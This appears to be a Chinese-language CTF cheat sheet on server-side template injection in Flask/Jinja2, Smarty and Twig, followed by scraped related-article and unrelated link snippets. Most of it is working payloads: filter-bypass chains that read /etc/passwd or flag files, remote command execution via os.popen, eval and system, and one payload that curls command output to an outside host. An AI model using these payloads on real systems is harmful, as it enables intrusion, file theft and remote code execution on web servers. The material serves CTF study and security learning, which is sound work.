基本判断

渲染模板

flask/jinja

flask SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数

__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

一些姿势

浅析SSTI(python沙盒绕过)

1、config

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

2、self

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

3、""[]()等数据结构

主要目的是配合__class__.__mro__[2]这样找到object

{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

4、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。

例如:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

常用绕过

Jinja2模板注入过滤器绕过

以下表示法可用于访问对象的属性:

  • request.__class__
  • request["__class__"]
  • request|attr("__class__")

可以使用以下方法访问数组元素:

  • array[0]
  • array.pop(0)
  • array.__getitem__(2)

(1)过滤[].

只过滤[]

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

.也被过滤,使用原生JinJa2函数|attr()

request.__class__改成request|attr("__class__")

(2)过滤_

利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参

(3)关键字过滤

  • base64编码绕过

    __getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

  • 字符串拼接绕过

    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}

    {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

(4)过滤{{

使用{% if ... %}1{% endif %},例如

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

payload

python2

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

python3

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

不用找类

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

Smarty

以下内容出自Smarty SSTI

1、{php}{/php}

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

2、{literal}

{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

那么对于php5的环境我们就可以使用

<script language="php">phpinfo();</script>

3、{if}

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array(), 等等

{if phpinfo()}{/if}

4、getStreamVariable

新版本失效

{self::getStreamVariable("file:///etc/passwd")}

twig

文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

rce

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

参考链接

flask/jinja2 SSTI入门

SSTI注入绕过(沙盒逃逸原理一样)

探索Flask/Jinja2中的服务端模版注入(一)

探索Flask/Jinja2中的服务端模版注入(二)

从零学习flask模板注入

Server-Side Template Injection

CTF SSTI(服务器模板注入)的更多相关文章

  1. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  2. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

  3. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  4. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

  5. Flask模板注入

    Flask模板注入 Flask模板注入漏洞属于经典的SSTI(服务器模板注入漏洞). Flask案例 一个简单的Flask应用案例: from flask import Flask,render_te ...

  6. SSTI(模板注入)

    SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...

  7. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

  8. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

  9. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

随机推荐

  1. 正则 \num 如:\1, \2 匹配的结果

    \num 匹配 num,其中 num 是一个正整数.对所获取的匹配的引用.例如,'(.)\1' 匹配两个连续的相同字符. 例子: 正则:/(a)(b)\1/.此表达式的意思大概是对第一个()匹配结果的 ...

  2. Oracle 12c数据库的安装

    Oracle一路走来,不知不觉中已经到了12c,最近要用这个新版本了,从oracle的官网上注册了个用户,下载了win版本64位的先试一下. (1)下载安装包 a. 到官网进行下载需要先注册一个Ora ...

  3. 笔谈 cocoapods的安装与使用

    因为要重构播放器库,所以就需要参考网上的开源项目,在播放器开源项目这块,kxmovie开源项目是值得参考的一个项目.在github下载下来后,运行该工程,发现其用到了cocoapods来管理第三方库, ...

  4. wokerman随笔

    linux环境检查是否满足workerman要求: curl -Ss http://www.workerman.net/check.php | php workerman依赖扩展:pcntl扩展.po ...

  5. Spring 重定向(Redirect)指南

    原文:Hacking the IntegerCache in Java 9? 链接:https://dzone.com/articles/hacking-the-integercache-in-jav ...

  6. 查看kafka版本

    kafka没有提供version命令,不确定是否有方便的方法,但你可以进入kafka/libs文件夹. 或: find / -name \*kafka_\* | head -1 | grep -o ' ...

  7. geopy 在python中的使用

    https://blog.csdn.net/learn_tech/article/details/80756788 2018年06月21日 10:35:52 learn_tech 阅读数:1182   ...

  8. jpa之No property buyerOpenId found for type OrderMaster! Did you mean 'buyerOpenid'?

    java.lang.IllegalStateException: Failed to load ApplicationContext at org.springframework.test.conte ...

  9. WinDbg常用命令系列---日志操作相关命令log*

    .logopen (Open Log File) .logopen命令将事件和命令的副本从调试器命令窗口发送到新的日志文件. .logopen [Options] [FileName] .logope ...

  10. 57、Spark Streaming: window滑动窗口以及热点搜索词滑动统计案例

    一.window滑动窗口 1.概述 Spark Streaming提供了滑动窗口操作的支持,从而让我们可以对一个滑动窗口内的数据执行计算操作.每次掉落在窗口内的RDD的数据, 会被聚合起来执行计算操作 ...